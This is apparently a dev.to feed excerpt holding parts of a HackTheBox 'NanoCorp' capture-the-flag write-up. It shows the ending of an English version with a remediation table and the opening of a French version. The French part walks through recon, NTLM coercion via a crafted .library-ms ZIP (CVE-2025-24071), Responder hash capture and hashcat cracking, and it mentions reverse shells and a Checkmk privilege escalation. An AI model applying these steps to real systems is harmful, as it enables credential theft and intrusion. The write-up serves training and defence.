&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl400t4elfrcyo6olorny.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl400t4elfrcyo6olorny.png" alt="Root flag retrieved" width="800" height="359"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚩 &lt;strong&gt;Root flag owned!&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Pitfalls Encountered and Solutions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The logon type 2 vs 3 trap
&lt;/h3&gt;

&lt;p&gt;This is the most frustrating point of the box: &lt;code&gt;msiexec /fa&lt;/code&gt; &lt;strong&gt;produces no error&lt;/strong&gt; when it refuses to run under logon type 3. It simply terminates without doing anything. You can spend hours debugging the payload (RunasCs? nc.exe? quoting?) when the actual problem is the execution context.&lt;/p&gt;

&lt;p&gt;The solution: RunasCs with the &lt;strong&gt;&lt;code&gt;-l 2&lt;/code&gt;&lt;/strong&gt; flag from Evil-WinRM to create a reverse shell inside an interactive session. From that session, msiexec agrees to run.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The lesson:&lt;/strong&gt; when a Windows command does "nothing" without an error, think about the logon type. It's a pattern that also shows up with &lt;code&gt;schtasks&lt;/code&gt;, &lt;code&gt;wmic&lt;/code&gt;, and other tools that silently refuse network sessions.&lt;/p&gt;

&lt;h3&gt;
  
  
  BloodHound CE + PostgreSQL 18
&lt;/h3&gt;

&lt;p&gt;The BloodHound CE version packaged in Kali (&lt;code&gt;9.2.2-0kali1&lt;/code&gt;) is incompatible with PostgreSQL 18 (error &lt;code&gt;syntax error at or near "STORAGE"&lt;/code&gt;). The &lt;code&gt;TEXT STORAGE MAIN&lt;/code&gt; syntax was removed in PG18.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; patch the SQL migration file and grant the right permissions to the role:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Remove the obsolete STORAGE syntax&lt;/span&gt;
&lt;span class="nb"&gt;sudo sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'s/[[:space:]]+STORAGE[[:space:]]+(MAIN|EXTERNAL|EXTENDED|PLAIN|DEFAULT)//g'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  /usr/lib/bloodhound/cmd/api/src/database/migration/migrations/00000000000001_init.sql

&lt;span class="c"&gt;# Recreate the database with the right owner&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; postgres psql &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;SQL&lt;/span&gt;&lt;span class="sh"&gt;'
DROP DATABASE IF EXISTS bloodhound;
CREATE DATABASE bloodhound OWNER _bloodhound;
&lt;/span&gt;&lt;span class="se"&gt;\c&lt;/span&gt;&lt;span class="sh"&gt; bloodhound
ALTER SCHEMA public OWNER TO _bloodhound;
GRANT ALL ON SCHEMA public TO _bloodhound;
&lt;/span&gt;&lt;span class="no"&gt;SQL

&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart bloodhound
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cleaner alternative: the &lt;strong&gt;official Docker stack&lt;/strong&gt; (&lt;code&gt;curl -L https://ghst.ly/getbhce -o docker-compose.yml &amp;amp;&amp;amp; docker compose up -d&lt;/code&gt;), which ships its own compatible PostgreSQL version.&lt;/p&gt;




&lt;h2&gt;
  
  
  Blue Team — How to Fix
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE-2025-24071&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Update Windows (patch KB5053598). Filter ZIP uploads on the application side — never extract archives server-side without a sandbox.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AddSelf on IT_SUPPORT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Audit AD ACLs with BloodHound. Remove the AddSelf right on support groups — use access request workflows (ITSM) instead.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ForceChangePassword&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Restrict this right to dedicated administrative accounts, never to support groups. Enable auditing of password changes (Event ID 4724).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bypassable Protected Users&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Protected Users is a good practice, but it does not protect against a third party changing the password. Combine it with LAPS and rotating passwords.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE-2024-0670&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Update Checkmk Agent to 2.2+ (fixed). In the meantime, restrict ACLs on &lt;code&gt;C:\Windows\Temp&lt;/code&gt; to prevent non-SYSTEM users from writing &lt;code&gt;.cmd&lt;/code&gt; files there.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Webshell via webroot&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Don't grant &lt;code&gt;WriteData&lt;/code&gt; to &lt;code&gt;BUILTIN\Users&lt;/code&gt; on the webroot. Run Apache under a dedicated service account with minimal privileges.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/0x6rss/CVE-2025-24071_PoC" rel="noopener noreferrer"&gt;CVE-2025-24071 — PoC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/elsevar11/CVE-2024-0670-CheckMK-Agent-Local-Privilege-Escalation-Exploit" rel="noopener noreferrer"&gt;CVE-2024-0670 — Checkmk Agent LPE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/antonioCoco/RunasCs" rel="noopener noreferrer"&gt;RunasCs — antonioCoco&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/SpecterOps/BloodHound" rel="noopener noreferrer"&gt;BloodHound CE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Hackplayers/evil-winrm" rel="noopener noreferrer"&gt;Evil-WinRM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/lgandx/Responder" rel="noopener noreferrer"&gt;Responder&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Writeup by &lt;a href="https://youtube.com/@whyshell" rel="noopener noreferrer"&gt;WhyShell&lt;/a&gt; — understand the why behind every exploit.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>ctf</category>
      <category>activedirectory</category>
      <category>windows</category>
    </item>
    <item>
      <title>HTB — NanoCorp — Writeup Fr</title>
      <dc:creator>WhyShell</dc:creator>
      <pubDate>Sat, 27 Jun 2026 13:11:38 +0000</pubDate>
      <link>https://dev.to/whyshell/htb-nanocorp-writeup-fr-4l1d</link>
      <guid>https://dev.to/whyshell/htb-nanocorp-writeup-fr-4l1d</guid>
      <description>&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Info&lt;/th&gt;
&lt;th&gt;Détail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plateforme&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;HackTheBox&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Difficulté&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Windows Server 2022&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Thèmes&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Active Directory, NTLM Coercion, ACL Abuse, Kerberos, MSI Repair Race&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVEs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CVE-2025-24071, CVE-2024-0670&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;NanoCorp est un contrôleur de domaine Windows Server 2022 exposant un portail de recrutement (&lt;code&gt;hire.nanocorp.htb&lt;/code&gt;) qui accepte des uploads ZIP. On exploite CVE-2025-24071 pour forcer une authentification NTLM via un fichier &lt;code&gt;.library-ms&lt;/code&gt; embarqué dans un ZIP — Responder capture le hash NTLMv2 du compte de service &lt;code&gt;web_svc&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Après crack du hash, BloodHound révèle une chaîne ACL : &lt;code&gt;web_svc&lt;/code&gt; peut s'ajouter au groupe &lt;code&gt;IT_SUPPORT&lt;/code&gt; (AddSelf), qui lui-même peut changer le mot de passe de &lt;code&gt;monitoring_svc&lt;/code&gt; (ForceChangePassword). Ce dernier, membre du groupe Protected Users, nécessite une authentification Kerberos pour accéder au DC via WinRM — ce qui nous donne le flag user.&lt;/p&gt;

&lt;p&gt;La privesc exploite CVE-2024-0670 : l'agent Checkmk v2.1.0 crée des fichiers &lt;code&gt;.cmd&lt;/code&gt; temporaires avec un pattern prédictible lors d'une réparation MSI (&lt;code&gt;msiexec /fa&lt;/code&gt;). En pré-plaçant nos propres fichiers &lt;code&gt;.cmd&lt;/code&gt; en read-only, on obtient une exécution de commande en tant que SYSTEM. Le piège subtil : &lt;code&gt;msiexec /fa&lt;/code&gt; exige une session interactive (logon type 2). On utilise RunasCs avec le flag &lt;code&gt;-l 2&lt;/code&gt; depuis Evil-WinRM pour obtenir un reverse shell en tant que &lt;code&gt;web_svc&lt;/code&gt; dans une session interactive, puis on déclenche msiexec depuis cette session.&lt;/p&gt;




&lt;h2&gt;
  
  
  Vue d'ensemble de l'attaque
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────┐
│  hire.nanocorp.htb — Upload ZIP                 │
│  CVE-2025-24071 (.library-ms → NTLM coercion)   │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  Responder capture NTLMv2 hash → web_svc        │
│  Hashcat crack → dksehdgh712!@#                 │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  BloodHound ACL Chain                           │
│  web_svc ──[AddSelf]──→ IT_SUPPORT              │
│  IT_SUPPORT ──[ForceChangePassword]──→          │
│                              monitoring_svc     │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  Protected Users → Kerberos obligatoire         │
│  kinit + evil-winrm --ssl -r NANOCORP.HTB       │
│  → Shell monitoring_svc → 🚩 User flag          │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  CVE-2024-0670 — Checkmk MSI Repair Race        │
│  RunasCs -l 2 → reverse shell web_svc           │
│  → Seed 10k .cmd files → msiexec /fa            │
│  → SYSTEM exécute notre payload                 │
│  → net user Administrator → 🚩 Root flag        │
└─────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Phase 1 — Énumération
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1.1 Scan de ports avec Rustscan
&lt;/h3&gt;

&lt;p&gt;On commence par un scan complet avec Rustscan, qui identifie rapidement les ports ouverts avant de passer le relais à Nmap pour les scripts et la détection de version.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.129.243.199
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;ME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;ip addr show tun0 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'inet '&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;/ &lt;span class="nt"&gt;-f1&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt; dc01.nanocorp.htb nanocorp.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts

rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$IP&lt;/span&gt; &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--range&lt;/span&gt; 1-65535 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap_full.txt &lt;span class="nt"&gt;-Pn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F04675tqa4jp064zy3q9z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F04675tqa4jp064zy3q9z.png" alt="Résultat Rustscan — ports ouverts" width="583" height="967"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ports clés identifiés :&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Observation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;td&gt;Simple DNS Plus — résolution interne AD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache 2.4.58 (Win64) + PHP 8.2.12 — redirige vers &lt;code&gt;nanocorp.htb&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td&gt;Kerberos&lt;/td&gt;
&lt;td&gt;Confirme un Domain Controller&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;389&lt;/td&gt;
&lt;td&gt;LDAP&lt;/td&gt;
&lt;td&gt;Domaine : &lt;code&gt;nanocorp.htb&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;445&lt;/td&gt;
&lt;td&gt;SMB&lt;/td&gt;
&lt;td&gt;Message signing &lt;strong&gt;required&lt;/strong&gt; → pas de relay NTLM possible&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5986&lt;/td&gt;
&lt;td&gt;WinRM HTTPS&lt;/td&gt;
&lt;td&gt;Seul WinRM disponible (pas de 5985 en clair)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6556&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Absent du scan externe&lt;/strong&gt; — on le découvrira plus tard depuis l'intérieur&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Deux détails importants dans le scan :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Le &lt;strong&gt;clock skew&lt;/strong&gt; est de presque &lt;strong&gt;7 heures&lt;/strong&gt; — c'est crucial pour les commandes Kerberos. Sur cette box, on utilise &lt;code&gt;faketime -f '+7h'&lt;/code&gt; devant chaque commande Kerberos plutôt que de modifier l'horloge système (qui casserait les certificats TLS).&lt;/p&gt;

&lt;p&gt;Le &lt;strong&gt;SMB signing&lt;/strong&gt; est required — ça élimine d'emblée les attaques de type NTLM relay (ntlmrelayx). On devra capturer et &lt;strong&gt;cracker&lt;/strong&gt; les hashes, pas les relayer.&lt;/p&gt;

&lt;h3&gt;
  
  
  1.2 Énumération de vhosts avec ffuf
&lt;/h3&gt;

&lt;p&gt;Le serveur Apache redirige vers &lt;code&gt;nanocorp.htb&lt;/code&gt; — il y a peut-être d'autres vhosts configurés. On utilise ffuf pour les découvrir.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Host: FUZZ.nanocorp.htb"&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; http://nanocorp.htb &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-mc&lt;/span&gt; 200,302,403 &lt;span class="nt"&gt;-fc&lt;/span&gt; 301 | &lt;span class="nb"&gt;cat&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Pourquoi &lt;code&gt;| cat&lt;/code&gt; ?&lt;/strong&gt; ffuf affiche une barre de progression interactive qui pollue la sortie. Le pipe vers &lt;code&gt;cat&lt;/code&gt; force un mode non-interactif — la sortie est propre et lisible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pourquoi &lt;code&gt;-fc 301&lt;/code&gt; ?&lt;/strong&gt; Le serveur répond 301 à &lt;em&gt;tous&lt;/em&gt; les subdomains inexistants (redirect vers &lt;code&gt;nanocorp.htb&lt;/code&gt;). C'est le bruit par défaut qu'on filtre — on ne garde que les réponses qui se comportent différemment (200, 302, 403).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F87o45fg3b30vx5nekgaz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F87o45fg3b30vx5nekgaz.png" alt="Fuff" width="796" height="474"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Découverte :&lt;/strong&gt; &lt;code&gt;hire.nanocorp.htb&lt;/code&gt; — on l'ajoute au &lt;code&gt;/etc/hosts&lt;/code&gt; :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt; hire.nanocorp.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  1.3 Le portail de recrutement
&lt;/h3&gt;

&lt;p&gt;On ouvre &lt;code&gt;http://hire.nanocorp.htb&lt;/code&gt; dans le navigateur — c'est un portail de recrutement avec un formulaire d'upload de CV.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fuiuwfg97uh7d4kc5swey.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fuiuwfg97uh7d4kc5swey.png" alt="Portail hire.nanocorp.htb — formulaire upload" width="648" height="836"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Le formulaire accepte des fichiers ZIP et archives. C'est notre vecteur d'entrée : on va exploiter le traitement automatique des archives par Windows Explorer.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 2 — Initial Access : CVE-2025-24071 (NTLM Coercion via ZIP)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 Pourquoi cette CVE fonctionne
&lt;/h3&gt;

&lt;p&gt;CVE-2025-24071 exploite un comportement de Windows Explorer : quand une archive ZIP est extraite, Explorer &lt;strong&gt;auto-traite&lt;/strong&gt; certains types de fichiers spéciaux, dont les fichiers &lt;code&gt;.library-ms&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Un fichier &lt;code&gt;.library-ms&lt;/code&gt; est un fichier XML qui décrit une "bibliothèque" Windows (Documents, Images, etc.). Il peut contenir une &lt;strong&gt;UNC path&lt;/strong&gt; (&lt;code&gt;\\attacker-ip\share&lt;/code&gt;) comme emplacement de la bibliothèque. Quand Explorer traite ce fichier, il tente de résoudre le chemin UNC — ce qui déclenche une &lt;strong&gt;authentification NTLM automatique&lt;/strong&gt; vers notre serveur SMB.&lt;/p&gt;

&lt;p&gt;Le point clé : tout ça se passe &lt;strong&gt;sans aucune interaction utilisateur&lt;/strong&gt;. L'extraction du ZIP suffit.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.2 Génération du ZIP malveillant
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /mnt/macos/CTF/NanoCorp
git clone https://github.com/0x6rss/CVE-2025-24071_PoC
&lt;span class="nb"&gt;cd &lt;/span&gt;CVE-2025-24071_PoC
python3 poc.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Foa7tndj44tuxbod9e4oh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Foa7tndj44tuxbod9e4oh.png" alt="Résultat du POC" width="355" height="70"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Le PoC génère un &lt;code&gt;exploit.zip&lt;/code&gt; contenant un fichier &lt;code&gt;.library-ms&lt;/code&gt; pointant vers notre IP via une UNC path.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.3 Capture du hash NTLMv2
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;T1 — Responder&lt;/strong&gt; en écoute sur tun0 :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;responder &lt;span class="nt"&gt;-I&lt;/span&gt; tun0 &lt;span class="nt"&gt;-v&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;T2 — Upload&lt;/strong&gt; du &lt;code&gt;exploit.zip&lt;/code&gt; sur le formulaire de &lt;code&gt;hire.nanocorp.htb&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;On attend quelques secondes — le serveur extrait le ZIP, Windows Explorer traite le &lt;code&gt;.library-ms&lt;/code&gt;, et tente l'authentification SMB vers nous.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1kf36skgd0tzuz9uej8i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1kf36skgd0tzuz9uej8i.png" alt="Responder — capture hash NTLMv2 de web_svc" width="800" height="567"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;[SMB] NTLMv2-SSP Client   : 10.129.243.199
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash     : web_svc::NANOCORP:94f624ed11c6411e:8E122B...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On a le hash NTLMv2 du compte de service &lt;code&gt;web_svc&lt;/code&gt; — c'est le compte qui fait tourner Apache/PHP sur la box.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.4 Crack du hash
&lt;/h3&gt;

&lt;p&gt;On sauvegarde le hash et on le cracke avec Hashcat sur le GPU natif M5 du Mac (via l'API Metal) :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'web_svc::NANOCORP:94f624ed11c6411e:8E122B...'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; web_svc.hash
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 5600 web_svc.hash ~/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Pourquoi &lt;code&gt;-m 5600&lt;/code&gt; ?&lt;/strong&gt; C'est le mode NTLMv2 dans Hashcat. NTLMv2 est le protocole d'authentification (challenge/response), à ne pas confondre avec le hash NT brut (&lt;code&gt;-m 1000&lt;/code&gt;).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgcsx9e5te7uctxxiexxp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgcsx9e5te7uctxxiexxp.png" alt="Hashcat — mot de passe cracké" width="800" height="292"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Résultat :&lt;/strong&gt; &lt;code&gt;web_svc&lt;/code&gt; / &lt;code&gt;dksehdgh712!@#&lt;/code&gt;&lt;/p&gt;




